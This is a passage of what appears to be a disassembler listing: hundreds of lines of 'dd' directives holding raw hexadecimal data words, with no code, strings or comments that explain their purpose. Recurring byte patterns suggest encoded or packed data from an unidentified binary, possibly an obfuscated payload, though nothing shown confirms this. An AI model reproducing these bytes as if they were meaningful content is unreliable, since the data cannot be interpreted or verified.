		dd 2485F2BEh, 0FAA1A6DBh, 4333B5F9h, 0E62B11CCh, 0B9BE3Fh
		dd 6E800000h, 59D82369h, 0DDEE216h, 140B9942h, 0C4E5A155h
		dd 0BD60D0B9h, 0AB2CFC18h, 5780E1EDh, 50FDCA51h, 0ED4ACD7Ch
		dd 0FC18BC6Ch, 0B2FDCEA5h, 0FAEFFD15h, 285F1401h, 9B2C7269h
		dd 0BF47CC8Fh, 4AD1AF42h, 0E564D1EBh, 7A601174h, 7D4E2E8Dh
		dd 9C819532h, 0FF18041Fh, 202CD15h, 0D3C6909h, 8703914Ah
		dd 0E6B39A2h, 0FE7ACACAh, 69D5BCC9h, 0DE00001Bh, 33769C18h
		dd 66DBC7C3h, 0C1A02E72h, 370A9016h, 0A5D2F8C6h, 0B6FCE1BEh
		dd 1CA25928h, 4549B3F6h, 0A9EFE859h, 67C0212Dh,	0F9FDE0F6h
		dd 6EA4662Fh, 6BB276Dh,	8A16C487h, 0F061FA73h, 21FC18B9h
		dd 9CE714Ah, 0AE590783h, 6A7EBEFh, 8D189E5Bh, 8B179542h
		dd 8E1BA9D7h, 0EA13267Ah, 31441A4h, 0DEEFF97Ch,	0D55478E5h
		dd 168EC552h, 0E0062B99h, 2E387EC7h, 0C94801FAh, 0FA4EEF60h
		dd 704926F9h, 4CEB5D2Ah, 0BD45DF33h, 4F5586C9h,	552EBF3Ch
		dd 0CBE938C8h, 86F7C5BAh, 0F257D649h, 3E695241h, 9F02DB90h
		dd 8B34D03Ah, 0A928C3h,	344CA84Fh, 0A83B3C9Dh, 9DEA344Ch
		dd 0D1F266F1h, 573E907Dh, 0E445C11Ah, 1B50ABF1h, 1C92C364h
		dd 0F443344Ch, 8E936CBFh, 0F1E4A7DAh, 6CEF12ABh, 733EB02Dh
		dd 0BC1E20B5h, 0E7155481h, 91B902DBh, 70C9AE84h, 9445043Bh
		dd 0AA501316h, 0A0C1C5E6h, 8D79821h, 310E322Eh,	6A30A9A8h
		dd 0B32B50Dh, 70D3B63Ch, 1A54h,	6D692DABh, 36DCD81Ch, 9F3B8773h
		dd 616D2BAAh, 0C9D5DB00h, 11CAD3B2h, 0B7220783h, 5E9CEDE9h
		dd 4F5B452h, 2D541886h,	0FDE3CB8Ch, 0D31B1AF9h,	0E8FF696Eh
		dd 0ADD9B743h, 0E152F76Ah, 30FC188Fh, 581B0E7Bh, 4C891CA0h
		dd 7AE7D07Bh, 876D356h,	4301FAD2h, 0CE5BEEF4h, 72FC11BFh
		dd 0CD4F5D3h, 0C933727Ah, 9435A6C5h, 0EF92B6DBh, 18E3CC4Ah
		dd 0F8280704h, 0E3D9D5Fh, 5C701DC8h, 23716A2Dh,	0C74A93D8h
		dd 8F561862h, 0E93C0BD2h, 0D18227A6h, 254F16h, 0B4D9922Bh
		dd 2E489190h, 0FAD8AD5Ch, 1E5FF87Bh, 37232150h,	506EEF78h
		dd 2A72321h, 2150B4A5h,	0D9166D23h, 0BAAD9A00h,	0DD2FB83Bh
		dd 811B9AD1h, 0D98ACB9Ch, 0E65B2321h, 1E5FAEF2h, 0A05918A1h
		dd 0A4DFC1Ah, 3EBFCECAh, 7735A2ADh, 883AA0Ah, 8DD4B12Bh
		dd 1968h, 719D19DFh, 0DAC0C430h, 0A32F7367h, 759117DEh
		dd 0DDF9C734h, 0FDFEBFA6h, 0A3562BB7h, 4AB0F11Dh, 0F0E95846h
		dd 0C1202CAAh, 0FDE2F778h, 0A7672EF9h, 0B029696Eh, 0ED5A93EAh
		dd 1D5EFB7Ah, 34FC18B9h, 5CC76E7Fh, 0AD3DF1Dh, 9382C31h
		dd 10873F90h, 7C4D5FC2h, 3D4E9435h, 364101FAh, 4F16396h
		dd 709ECB38h, 0C4872D50h, 7A339410h, 0E94EF1D5h, 4183AADh
		dd 0BDDF53E4h, 0BDF72A74h, 0D20F8D4Ah, 8D46C96Eh, 3D229304h
		dd 0D5377AD5h, 904739B6h, 0E160DD0Ah, 198D97Eh,	66925476h
		dd 8C8AC35Ah, 4EEB16B7h, 0A99467E4h, 0FC35502Fh, 397D7957h
		dd 7DDA5DCCh, 524867FCh, 28D5E15h, 951BC083h, 421E1976h
		dd 0E50676C1h, 0ACB61FA8h, 67AFAA18h, 565483C2h, 2B9C44F5h
		dd 69A69D48h, 4442B7F6h, 74E542C5h, 0AD482B9Ch,	9011F5D6h
		dd 43642AD1h, 50DDDB1Ch, 560EBF3Eh, 691D6401h, 0DE000018h
		dd 33769C18h, 66DBC7C3h, 0C1A02E72h, 370A9016h,	0A5D2F8C6h
		dd 0B6FCE1BEh, 1CA25928h, 4549B3F6h, 0A9EFE859h, 67C0212Dh
		dd 0F9FDE5F6h, 6EA4662Fh, 59D82369h, 0ABDEE216h, 18B94D0Eh
		dd 1EAF84FCh, 15143825h, 0FADF5EB4h, 31ABEA01h,	0CDD1E6Dh
		dd 2525A19Eh, 4F63E066h, 0E43B7FD8h, 0E5520418h, 0F835A2A3h
		dd 4893131Ch, 0A07C73E4h, 0AE74DD93h, 0D0A5B41Dh, 48D5F29Fh
		dd 0FA44E564h, 1508FDACh, 6DF2CF5Eh, 5287C679h,	0AB0C7354h
		dd 0F136A83h, 0B3323502h, 867130h, 0D36A3627h, 0A04CEFE8h
		dd 772EA7D7h, 2C13B4E1h, 80E1EDABh, 0BCD45157h,	0BFF57637h
		dd 17AE8BEAh, 0D3050000h, 7E76CBD7h, 2DAD9C3Ah,	0D1046561h
		dd 817ACFCBh, 79189733h, 0EDE9B724h, 4B575D9Ch,	12B804F6h
		dd 0E6ECAA2Fh, 312287FEh, 0E0F9FDE4h, 696E79BDh, 62EFD823h
		dd 0DE0B9144h, 0A9EFE8ABh, 0A13A7E76h, 0E461D97Eh, 0AB8001FAh
		dd 15493B2Fh, 0E0AC2E08h, 3A773BA1h, 0EF74A207h, 0D0AF0418h
		dd 86FBB790h, 92BF8425h, 207B41B4h, 5ECB7EABh, 53128545h
		dd 9C03A4DFh, 77DDD33Bh, 7566299Eh, 6895DC2Fh, 5D8AC35Ah
		dd 0DA211E8Ch, 0DD4C60EDh, 95DBD27Ch, 726726A4h, 0B905F534h
		dd 4AD0E962h, 48CB4AFDh, 49DB6EEFh, 0FFC8A757h,	85018770h
		dd 0EAB82564h, 0DE815A93h, 612D4F19h, 2C8ACB0Ah, 8D488AF7h
		dd 76135EF0h, 16E32Fh, 1A9E5800h, 4D498DFCh, 0B4F8E041h
		dd 1E9C5B2Eh, 464CB1F0h, 7B442358h, 0D3963C82h,	0D7C9A28h
		dd 62C7C3CFh, 0ABAB3775h, 0E77CFD5Ah, 0E895F9FDh, 23696E22h
		dd 9262EFD8h, 2F069351h, 0F46BA0A2h, 0EB9E963h,	5069558Ah
		dd 0C3D788D1h, 521501FEh, 46C4E5A3h, 7DAAF8E3h,	484E8BCAh
		dd 9BC81942h, 4DD4F9FEh, 30A7E699h, 1DA136Ah, 0BD73E405h
		dd 4C6F52C4h, 37A0AF38h, 0FD625571h, 50F156C9h,	810418EAh
		dd 0F4B7AAh, 0AB2B1E84h, 5DA8F6E5h, 6CD9E712h, 6C6DD437h
		dd 0A9CBC12Eh, 2540FE75h, 163F5Ah, 4642B400h, 0A9EDE958h
		dd 109C5C2Dh, 7A40B78Ah, 0A2F0ED5Ch, 0D7E88F24h, 0F729826h
		dd 69D8C6CCh, 0DEA32F73h, 4F779319h, 0E7A09136h, 0C71F9FDh
		dd 577B18CEh, 0FD677D0h, 300F01FEh, 28298E31h, 0F9F9FDEFh
		dd 0B7F63982h, 58B4E42h, 923875E6h, 9396B6D9h, 7489110h
		dd 0C5F9FDEFh, 0FDEFF364h, 0C95522F9h, 0EF5E1FB8h, 0B8F7F9FDh
		dd 2C117A43h, 0E5F9FDEFh, 1C495784h, 0EF92A089h, 9E9FF9FDh
		dd 66808F09h, 98DD2874h, 3287B1FFh, 52D5A1A9h, 3FE9B97Fh
		dd 8C47B92Eh, 0CE0B51D8h, 0CB52609Bh, 43F43982h, 0CE000000h
		dd 0D2557918h, 18B9C075h, 0A19502FCh, 0B0BDAAFCh, 62D94D9Eh
		dd 0FB013E1Bh, 0D412FC18h, 5174A9E0h, 1BDB3A04h, 0EF000000h
		dd 0A1EDEFAEh, 0A932767Eh, 18B93240h, 0C7EB68FCh, 0DC3FE740h
		dd 195601FAh, 7B18F7FDh, 8A119D5Dh, 92151441h, 0C9B82AD3h
		dd 0F85C5AD5h, 0D60766D3h, 1DBEACF5h, 1A5101FAh, 20178083h
		dd 48C22FF0h, 0E4155C6Dh, 904938A6h, 0E8CF5BD6h, 27F0BE4h
		dd 3D8378FBh, 12E2A4EEh, 2BA933A4h, 4D4B8A63h, 0B59CBD3Eh
		dd 20572C5h, 0F00B9743h, 0C5A4627Bh, 0BA779614h, 298EB195h
		dd 419BC09h, 0B032A998h, 5B42D2D1h, 0B4D70C98h,	0BDCCCA07h
		dd 0B290C92Ch, 578A63C1h, 9EC11AA0h, 6FC85359h,	7F8AADF1h
		dd 0DC6A5A1Ch, 0CA515D9Dh, 2F138881h, 42127534h, 0BB01F679h
		dd 0EFAD2A1Fh, 23D2959Ch, 0BB88E8B9h, 3D6A27F1h, 7432A5ACh
		dd 0DF48C911h, 0CBF6C069h, 1B43641Dh, 9C1ADF2Bh, 0C0C63376h
		dd 0E3C74CA5h, 0CB9FDB7Ch, 0F9B68206h, 2D6B6CDDh, 5E6497DEh
		dd 310547CFh, 89614C5h,	60D176F9h, 0B175C6A2h, 797EE1FAh
		dd 721FE833h, 4C8E2B5Eh, 878824C7h, 9A5F22A8h, 0C786891Ch
		dd 1C0C5416h, 37C74443h, 0EB98E1FAh, 0B083D8A3h, 8770BEB6h
		dd 36A48501h, 2BD0136Ah, 0F875E265h, 823313CBh,	8DD753C4h
		dd 0B02C337Ch, 74F60C17h, 0F965F280h, 0EE63722Fh, 7A48B5F4h
		dd 2E11AA23h, 0A7EBEAACh, 0A4117432h, 0D594326Fh, 0A5E49B27h
		dd 3746B638h, 0E2FF7DC1h, 0C60914B5h, 3072890Fh, 0CA307E76h
		dd 7369D8C6h, 7EE3DC2Fh, 0D472D74Ah, 0F9E3A16h,	430DD530h
		dd 0C9D50773h, 3D7B7CCDh, 347267EEh, 2B1B5DD1h,	0ED9C1ADFh
		dd 5AC1E7Ch, 5861B0F2h,	9609C442h, 1CA6DFA7h, 98000000h
		dd 0C5206C6Eh, 0DC4367ECh, 88515D9Dh, 0C42EA009h, 8AE101FAh
		dd 1CDD0Ch, 6EE10000h, 0ECC5206Ch, 7BDC4367h, 1FAC053h
		dd 860CCFB2h, 6597D649h, 3089C259h, 7D0F6C6Ah, 5A25CC1h
		dd 0FC18B954h, 723EBC8Dh, 0F059C805h, 1FAC3BAh,	52266DDh
		dd 0F529DA54h, 180F2320h, 6FFE57BFh, 1F1DBEFBh,	5A6A38D3h
		dd 645DA8E5h, 1554CBFFh, 8ACB6CE4h, 5BFC6F20h, 0EB16B7ECh
		dd 8D6A244Eh, 3D63F401h, 24A23224h, 0BE02F629h,	5188F92Dh
		dd 46B33843h, 515780C3h, 8F03F4B5h, 0BC27464Ch,	0A714773Dh
		dd 0B6F03D6Ah, 0B903E7E7h, 130A85ECh, 77610000h, 22D29733h
		dd 0D1097866h, 7560C1CDh, 25D6AB37h, 1DC4739Fh,	49555B80h
		dd 17B301F8h, 0FEE4A852h, 42484E8Bh, 95C66382h,	4CF9FDDBh
		dd 0C78805C1h, 0B3FC18BAh, 81A666AEh, 51F1AA41h, 0AAC465E4h
		dd 4501FA29h, 0C2387BEEh, 6B91D0FEh, 5C9DC427h,	0D4CFD15Eh
		dd 0D9AC045Eh, 12AB76h,	0D2D60000h, 5817534h, 6C30A899h
		dd 0D6D40366h, 3E8479C8h, 237C1B90h, 9BEEF4BAh,	0F5B45260h
		dd 2A1FBB07h, 0E3E3EFADh, 0DB342582h, 0A0EDF9FDh, 577B187Ah
		dd 0D9FF77D0h, 591601FAh, 5102A726h, 8DF9FA99h,	0FE748ECBh
		dd 0F64DC9AFh, 0EBEBAAD5h, 3F7432A5h, 6226AE93h, 138F181Bh
		dd 8FFB2031h, 9F5807A0h, 0FD248219h, 2B723EBAh,	1F6E32A8h
		dd 1E5861DEh, 981CD826h, 8B216E72h, 0EAAEAF08h,	867F9FAh
		dd 0C9F23D9h, 1905FECFh, 40B4F52Bh, 5782C544h, 8CD57049h
		dd 0F9FAEAF6h, 77C3B3ADh, 0AA9F3B7Fh, 0A21F6E2Ah, 319689BDh
		dd 41C5C3Ch, 0F3CD59CEh, 0F2098F48h, 1C8DD079h,	0E65DC912h
		dd 0F1B72063h, 256394D5h, 4064E9C6h, 65C95EC1h,	2B03E648h
		dd 0C793FB6h, 9AE52BBh,	8AE10A39h, 6523D497h, 2AE775E2h
		dd 3AE58BA0h, 2586F3C1h, 0D1D70061h, 0A0EEEFAEh, 0ACB71045h
		dd 671ACE53h, 56EF14C2h, 0C455D410h, 9568C53Fh,	20112A93h
		dd 0F1EB9629h, 8EE521BAh, 0B3544961h, 1C6702F2h, 1188h
		dd 11BDF9FFh, 0FAE0A450h, 434F5387h, 15B1F7FEh,	0FD19A754h
		dd 0DD1E9F46h, 8376CBD7h, 2AD0913Dh, 0D0097866h, 0E100CCCAh
		dd 0FDDA1758h, 8747CEF9h, 18B9CE88h, 9C20DAFCh,	6C30AAEDh
		dd 1F0BDC19h, 6C13375Ch, 0FE0FDDCBh, 43B7001h, 8D099545h
		dd 77855C7h, 44D53A84h,	0D8F9D8B2h, 0C9369731h,	16Bh, 507C18FDh
		dd 7509AE6Ah, 61FC18B9h, 39AECEF4h, 77C20D61h, 0A2EEEADBh
		dd 0AA2D5475h, 5BA2F0EBh, 69FDC912h, 0EFAE56A1h, 2C05A6ECh
		dd 82A00E22h, 11974003h, 0D91E418Ah, 183C0AD3h,	119F5C7Ah
		dd 834A5A4h, 2B6B0F5Bh,	9DDE02C8h, 0F4AA6FFCh, 556F17D3h
		dd 4078855h, 5782C53Dh,	0D6733249h, 0FF18B965h,	318AC7BCh
		dd 2DCCh, 7E18F600h, 0EFAE9452h, 9918A1EDh, 18B90230h
		dd 6394D5FCh, 0E079E825h, 0C2EBD28Ch, 66446589h, 6A6E94AEh
		dd 4A709826h, 258Eh, 7E18B400h,	2FAE9452h, 18B9C98Ah, 9A2318FCh
		dd 0B9BCB217h, 2DAAFC18h, 6E94AE81h, 0E1AF2C6Ah, 0DEE4519Ah
		dd 88554A70h, 0C73D0407h, 69h, 8A2FAEFBh, 0FC18B9C9h, 0E9AD2918h
		dd 0CC522BBCh, 41E66918h, 0FC18B910h, 95516AC1h, 6B6C2FAEh
		dd 5F97DE2Dh, 74DDEE5Bh, 0FC18B9FEh, 13829D0Ah,	702EB3DDh
		dd 0F9C2C831h, 0AEE8D6ADh, 9E3BAC2Fh, 0A77985D2h, 331C5DEEh
		dd 7E35FC18h, 666E996Dh, 4A708422h, 448Eh, 2B8C0F00h, 0FC18B92Ah
		dd 9A5D8CFBh, 7B4C891Ch, 567A188Fh, 6C2FAE68h, 9A3F226Eh
		dd 0FC18B9D9h, 41AA3308h, 0FC18B92Dh, 60D17639h, 0B1FC18B9h
		dd 0AE218DFAh, 4A0BAC2Fh, 9BFC18B9h, 6E2F1BACh,	70842266h
		dd 0FE838E4Ah, 18B4FFFFh, 77D0577Bh, 1FE0FD6h, 4E31300Fh
		dd 62870389h, 90EBB723h, 0A6A9825Bh, 35268386h,	0ECF9FDEFh
		dd 4A0D7497h, 54BD0E8Ah, 0F9FDEFE1h, 86B480C6h,	3E8F13C7h
		dd 0E965D508h, 327A3Fh,	0AE4C0000h, 77FE7EFh, 0F11F14C5h
		dd 0EF6CBFF4h, 49F875DEh, 0DCAFC18h, 1D4A5885h,	49D856F1h
		dd 0F19EFC18h, 750DAADDh, 9C01FA23h, 0D5A63BA7h, 0DC000000h
		dd 0D0577B18h, 0FACF5B77h, 0C166E901h, 0F9FAAE90h, 43B7EA41h
		dd 43386E7Fh, 0DB1A5DDCh, 97450CDDh, 40BA8F0Bh,	2766297Ch
		dd 0E7D0E9B5h, 46D3567Ah, 0FBC8425Bh, 0CBC04C81h, 0C0A40F87h
		dd 4CCF328Bh, 0EAED75DBh, 0E6C77A68h, 1CA8D89Dh, 73A7104h
		dd 0FC0F9544h, 60236E7Fh, 19A8367Ah, 44003196h,	9AD1F7DFh
		dd 1ADC1E41h, 0DF44BCBDh, 0A11E55F7h, 10E06D5Ah, 397B95DCh
		dd 0C245B27Dh, 397ED665h, 0F170CF0Ah, 0C7CB0F4Eh, 387E7BE6h
		dd 662AAF92h, 0F6BC2171h, 0BCE92697h, 951F5577h, 0E04326F8h
		dd 0EA4h, 3DD9DD1Bh, 860C884Ch,	6F6B37A3h, 31DDDB1Ah, 99058B70h
		dd 0C13A8362h, 6792D7F3h, 0ECCBD59h, 0B4250482h, 9DE4E8F6h
		dd 0FDDF3B3Ch, 63ABEAF9h
		dd 40E9696Eh, 0FC18B90Fh, 347A63C6h, 0F87B82FFh, 65D673FFh
		dd 0B1FC18B9h, 8B7CD31Bh, 7FC248D0h, 86F9367Ch,	0BD3E4D53h
		dd 2F892540h, 0A8EEEB57h, 60A96422h, 85043A04h,	0E0B4A502h
		dd 166DFC18h, 18E00435h, 4566DDFCh, 81D8h, 0EFAEE200h
		dd 2C05A6ECh, 8B1C0327h, 53F8B8C3h, 21D908C9h, 0FCCD0E9Dh
		dd 887332B5h, 516AE33Ah, 0FAB7AE08h, 40BBFA01h,	0C13E8278h
		dd 0C853599Eh, 97EC3A83h, 8E0CCD74h, 2E210E9Bh,	3D27701Eh
		dd 21AAF1BDh, 7237D3F4h, 0BE40785h, 0EDB32806h,	59CDD7Ah
		dd 0FEB5F9FAh, 17DF9E81h, 0FAC30893h, 72BC12B7h, 12570418h
		dd 0B40DBE9h, 18B130DEh, 0E710B725h, 78115AA1h,	256486E7h
		dd 5A93EAB8h, 666EA581h, 11C5A422h, 4C0F7695h, 50B9028Eh
		dd 0FC18B918h, 2CAAF6E4h, 0CD08262Bh, 0C23FBCCFh, 0F5DFA5Fh
		dd 0FFB401FEh, 0EF60C948h, 0FDF9FDEFh, 0EE6FBEFCh, 0FA24D760h
		dd 0C6FC5523h, 8EF13089h, 9258464Ah, 84077855h,	19AD73Ah
		dd 0D1500000h, 98B9C788h, 98211EFCh, 507C18A2h,	0BA2FAE6Ah
		dd 7958F5C3h, 4C953626h, 0FC187436h, 403955C2h,	0BD12A812h
		dd 18985B1Ch, 40BD8AFCh, 6393DE67h, 980B4CEDh, 6DDAFC18h
		dd 0AEFFFB30h, 0EDA16994h, 50E5FD6Ah, 9639CDBEh, 181E84B5h
		dd 0C5E65DFCh, 527E18E1h, 0AEB88294h, 0B9C98A2Fh, 0E918FC18h
		dd 18B90F40h, 3C69C6FCh, 984CD2ABh, 55556F52h, 3D040788h
		dd 555382C5h, 5C0F74h, 18330000h, 0AE94527Eh, 18B97509h
		dd 0A0A79CFCh, 6BB2F8E1h, 0AEEDD9E2h, 266A6E94h, 3CECB623h
		dd 16AE9DA7h, 0F170F1B5h, 93CCA658h, 96C72664h,	0F2B04B85h
		dd 1838E455h, 9463DFCh,	4F8ECAB0h, 0F000000h, 0ABAC0D8Ch
		dd 7AFC18B9h, 0B93B3C0Dh, 9DEAFC18h, 0B90C4DEAh, 6EC5FC18h
		dd 7E18695Dh, 9AE9452h,	0FC18B975h, 0AFC51287h,	0B586D68Ah
		dd 0E0CE0B14h, 6E6C2FAEh, 6EAD9922h, 0AE98266Ah, 2FAAEEEFh
		dd 64D11A61h, 52F3D401h, 206C6C2Fh, 8855A387h, 0C73D0407h
		dd 35h,	567A18FBh, 7509AE68h, 9CFC18B9h, 43C7DC7Bh, 326F12FCh
		dd 6E94AEB4h, 0E8AC2866h, 0F4E9589Dh, 707571AEh, 68E94EF1h
		dd 0B9FC18B9h, 8E0DF9C2h, 46h, 567A18B4h, 6C2FAE68h, 0C4DEA6Ch
		dd 0C5FC18B9h, 9CE316Eh, 5DD13A83h, 49FC18B9h, 9D5A1D0Ch
		dd 46A5E115h, 84DD815h,	94AECBBFh, 0B028666Eh, 0F1B0B7ECh
		dd 0F27B8208h, 65464C8Fh, 0EBEFAE81h, 0B61744A7h, 5D8E5195h
		dd 0B4FFFFFEh, 0A6ECEFAEh, 0B95506A3h, 0B78CFC18h, 16305D16h
		dd 6DBCDDE3h, 0AE303671h, 72D74A87h, 1FE3AD1h, 75342B00h
		dd 80030684h, 0FD323627h, 5D9AEFF9h, 528FCC5Fh,	5A6ECEFh
		dd 1BCB5601h, 0F562E564h, 0B35E05B5h, 6AEB7C86h, 0BBF9FDE4h
		dd 0A192FBCCh, 70F9FDE4h, 9745043Bh, 9AD7DB01h,	6AF1CA03h
		dd 0F55ABE2Bh, 2485AFC5h, 253B3A83h, 0D610F9FDh, 0AB76ABDEh
		dd 21D53FE9h, 52000000h, 0F5224C5h, 7EA1783Eh, 0D397307Ch
		dd 18B9FB88h, 8A10C9FCh, 0E1DD0Ch, 1B5A0000h, 390DDEDCh
		dd 0D0577B18h, 0FACF3777h, 55F27501h, 0F9FAAFE4h, 2165463Dh
		dd 880FBB96h, 0EE5B69C8h, 0FEC2387Bh, 276B91D0h, 5718A120h
		dd 8EF9FAC3h, 28298EB1h, 0F9F9FAC3h, 0A5123982h, 129594B8h
		dd 0C3E4AA53h, 1C75F17Ah, 2F880B04h, 0F7DF692Eh, 0EB3F88E7h
		dd 30AAED9Ch, 3EBAFD6Ch, 0C3C70F72h, 0FCAA33B8h, 0DC434F8Dh
		dd 0CA515D9Dh, 696DEE4Bh, 0CFA4F7DFh, 0D5224992h, 44E56448h
		dd 0A39D831h, 0D19097ECh, 0C5646228h, 36555382h, 0BC3D2485h
		dd 668503F4h, 69BCFAFFh, 17B0B7ECh, 0EDB5A626h,	2E4B80FFh
		dd 0F894C4F8h, 79472E7Bh, 0CE00000Ah, 23068C08h, 96EBF7B3h
		dd 0F1B05E62h, 271A8006h, 55E2E8B6h, 0A6EC11AEh, 0C924938h
		dd 7539A386h, 0D9DF1869h, 57F0313Dh, 0F9FDD3E6h, 0AEB4763Fh
		dd 0B9C98A2Fh, 2318FC18h, 6422D79Ah, 9319DE01h,	8470FA08h
		dd 44FBC136h, 0F4D5D105h, 0C069316h, 7953276Dh,	924FFBCCh
		dd 393A04B7h, 4Eh, 0BF03F7B6h, 0E8DEEF6Ch, 0D0577B18h
		dd 0FACECF77h, 3D9A1D01h, 0F9FAAC3Ch, 0D94D9ED5h, 0FC237168h
		dd 0EC69BCF8h, 0ECED54B7h, 984120AEh, 113E8B12h, 0AFFEC437h
		dd 2CFC67F2h, 0F22F498Ch, 13C38285h, 0E6C77497h, 15AC1EBBh
		dd 68C70418h, 39AE6462h, 68B1C3EEh, 5266F7F5h, 0C6431D45h
		dd 7C78E7C0h, 0A4C7C532h, 8BDCFA37h, 0FC18E4C3h, 739F23D9h
		dd 107C59CEh, 3ABB99EFh, 674BC8A1h, 293947E0h, 67DC01FEh
		dd 7539A1E0h, 78556369h, 0D73A8407h, 175h, 0E40CC750h
		dd 0BEB0FD1Bh, 0EFAE592Dh, 2D06A7EBh, 0AEA10D27h, 26686C2Fh
		dd 17B0EDB3h, 18B9B0CEh, 0E31A6FCh, 0B9292A8Fh,	83F8FC18h
		dd 0C8119F5Ch, 6C2FAEF2h, 4EDB226Eh, 0F3E2D755h, 5E6FA465h
		dd 56A16968h, 0A1EDEFAEh, 0C3272F18h, 18B9F566h, 8F8B2CFCh
		dd 0F91B448h, 36BCE926h, 27800382h, 0FC18B936h,	7AC2F5E2h
		dd 133F7A40h, 84E7AD2Eh, 0E5C11A57h, 3B9C7A18h,	0FC18B93Ah
		dd 9B279CEBh, 8855556Fh, 0C73D0407h, 2Dh, 0EDEFAEFBh, 1D682EABh
		dd 0D31863D8h, 3B29310Ah, 7509AEBFh, 9CFC18B9h,	2FAE1BA7h
		dd 9A23696Ch, 266A6EACh, 8E4A7098h, 3Eh, 8E7E18B4h, 58424BF5h
		dd 0ECCA0764h, 98BA2FAEh, 713D8BE4h, 0E4424F02h, 0E7BBED0h
		dd 9CDE54BDh, 85CCFC18h, 0BA334A58h, 906DBF91h,	0F623DA60h
		dd 6E94AEC8h, 7098266Ah, 404C8EF1h, 88558367h, 0C73D0407h
		dd 46h,	567A18FBh, 206490D3h, 0A773E837h, 4B9C9DA3h, 7509AE7Fh
		dd 9CFC18B9h, 94AE1BA7h, 0EA0439AEh, 0C5634A27h, 37797DE4h
		dd 2482FFC3h, 884239AEh, 4FE1D8E5h, 0AEE9ED7Eh,	31506E39h
		dd 7657EC88h, 2A2Bh, 2FAE5300h,	18B9C98Ah, 9A2318FCh, 238FBDA1h
		dd 0B97509AEh, 0F461FC18h, 6E94AECEh, 0BC3F2266h, 18B95A1Bh
		dd 2BBC8BFCh, 8E4A705Fh, 0FFFFFE82h, 577B18B4h,	0FD677D0h
		dd 300F01FEh, 3894E31h,	994DD487h, 0B12467E6h, 0CF624037h
		dd 33684907h, 121041AAh, 6AC1F9FDh, 12073613h, 6524F9FDh
		dd 219D6AF4h, 617A90D5h, 479A0DF9h, 0E43FE970h,	26h, 0C217F465h
		dd 0BBF4B870h, 0FB884422h, 0C9FC18B9h, 0DD0C8A10h, 0C5h
		dd 18E01B5Ah, 18B9BEBFh, 0A31857FCh, 7B182C1Ah,	3851D057h
		dd 318131A2h, 0CC8DDE55h, 5FC1867h, 671243E4h, 74C3FC18h
		dd 0C663AE3Fh, 1FA3600h, 894463Bh, 1557A4FDh, 0F0D72B10h
		dd 98DB4EBBh, 0F1B05E62h, 8B64870Bh, 1ABFA286h,	41D5555h
		dd 0C18087FCh, 0F60B971Bh, 207B3FB7h, 0AD2F12ABh, 0BA3F7EE1h
		dd 9B2CA9FCh, 361A07F0h, 0B8879633h, 211E0A36h,	367A7F3Eh
		dd 28ADF8C4h, 46DF9039h, 3976EDB5h, 7663C6CCh, 0E5CDCB30h
		dd 0FB8EF893h, 71F98h, 26629400h, 890DC9B8h, 0F0BC3C0Dh
		dd 5A6097EAh, 8210CDBCh, 0B708EF04h, 0EF527846h, 4938A6ECh
		dd 0BE830F93h, 6F577339h, 0D480B116h, 2C51F9FDh, 0EDEFAEEEh
		dd 0A05918A1h, 6FA4E810h, 6624D51Ch, 1D8AEF07h,	2137422Ch
		dd 7F3DB80Eh, 0C5B1B902h, 0FCA136B9h, 9FBE7F0Ah, 2AB7B881h
		dd 116EFC18h, 4A5089C8h, 0A60BC64Ch, 33A03A04h,	9A000000h
		dd 0D0577B18h, 0FADF1777h, 4EF14E01h, 0FAC3C70Fh, 6891D053h
		dd 0A04EDB22h, 66AF9B3Eh, 41AA3368h, 0F9FA342Ch, 5ACDB93Fh
		dd 3FE6A087h, 4C24h, 7B181E00h,	4377D057h, 8101FACAh
		db 0DEh	; Þ
		db 1Ah,	4Ah, 85h
		dd 4B673A99h, 1B50ABE0h, 78EF44C2h, 1F1F50F9h, 7936F9FAh
		dd 1B5AC560h, 81B217E1h, 50F9FA1Fh, 1E5FAE1Bh, 5D5582CDh
		dd 38A6139Fh, 0F30A9049h, 32351906h, 184E3195h,	7793E804h
		dd 0C5810F49h, 54F57458h, 1FAC326h, 0CFCD0879h,	5FC23FBCh
		dd 0AD3D91Ch, 0E13E146h, 0A2AFB96Dh, 0D43E9B8Eh, 3FC7A28Bh
		dd 0FA018F4Ah, 8E10471h, 8720270Bh, 0CDC089FFh,	0B1265916h
		dd 8206BD15h, 29687136h, 0FBE331A6h, 0D18450B4h, 424C788h
		dd 0F4211E2Eh, 2D6B6CD3h, 9117C0A1h, 25495614h,	0FD442138h
		dd 5CCh, 0D5F1B523h, 0BE246094h, 7830FCBh, 0E9F5B322h
		dd 0B15D6398h, 99425B3Ah, 3FBA8F0Bh, 0E6145571h, 8C4D3CDAh
		dd 0A5DC800Eh, 0FDD65304h, 5B8382F9h, 0A2E8EFAEh, 86C9125Bh
		dd 0B1304B51h, 78B4F49h, 60BCCCAh, 0D59A3F22h, 7C01FE0Fh
		dd 6CB5F7DBh, 70ADD90Ah, 88468EF1h, 0FDE32E2Fh,	5388E7F9h
		dd 133A83C8h, 6A6E28D0h, 0B88CE926h, 0B3045C8Ch, 5568FD6h
		dd 2BAD0000h, 0D61E636Fh, 857534D2h, 29AC9D39h,	0D9026763h
		dd 0D1B0CFCBh, 5810FCCh, 0E3EFB524h, 4A505C9Eh,	1E8402F7h
		dd 0C98A2F56h, 18F9FDD6h, 7B18D115h, 0EE51D057h, 1744A7EDh
		dd 0FE46DB6h, 5C2D01FEh, 40F5109Ch, 8971F00Bh, 90DEF805h
		dd 0B4D1045Ch, 4FFEDh, 6827400h, 692DA998h, 0D0DC1C6Dh
		dd 3A8077CAh, 6230AD9Ch, 9728CF64h, 0CFB25866h,	2918860Ch
		dd 9EE3EFB3h, 8FB75359h, 0C960D176h, 0CCB1F9FDh, 577B180Eh
		dd 0FC277D0h, 810001FEh, 0FDEF3738h, 0D87DE3F9h, 0A9C622F2h
		dd 911FDCADh, 5594C10Ah, 4A831AA8h, 0CF5E1571h,	23485484h
		dd 45CC94Dh, 99187B0Eh,	0EE000004h, 4326ACE8h, 0B68B1793h
		dd 11507E42h, 473AA0E6h, 75820896h, 0C6CC318Eh,	2C7269D8h
		dd 9519C3A6h, 0F9BF3809h, 379011DDh, 0F9FDC906h, 6E9456DFh
		dd 0F40E969h, 1DFC18B9h, 348D3DFh, 4CF32807h, 0B8C3CF0Dh
		dd 4083AA33h, 0D9DF1B97h, 0DA219E24h, 5DC12491h, 1ADF2B1Bh
		dd 0C633769Ch, 0A6DCA5C0h, 0FDFC18B9h, 0D2077343h, 0DCED4h
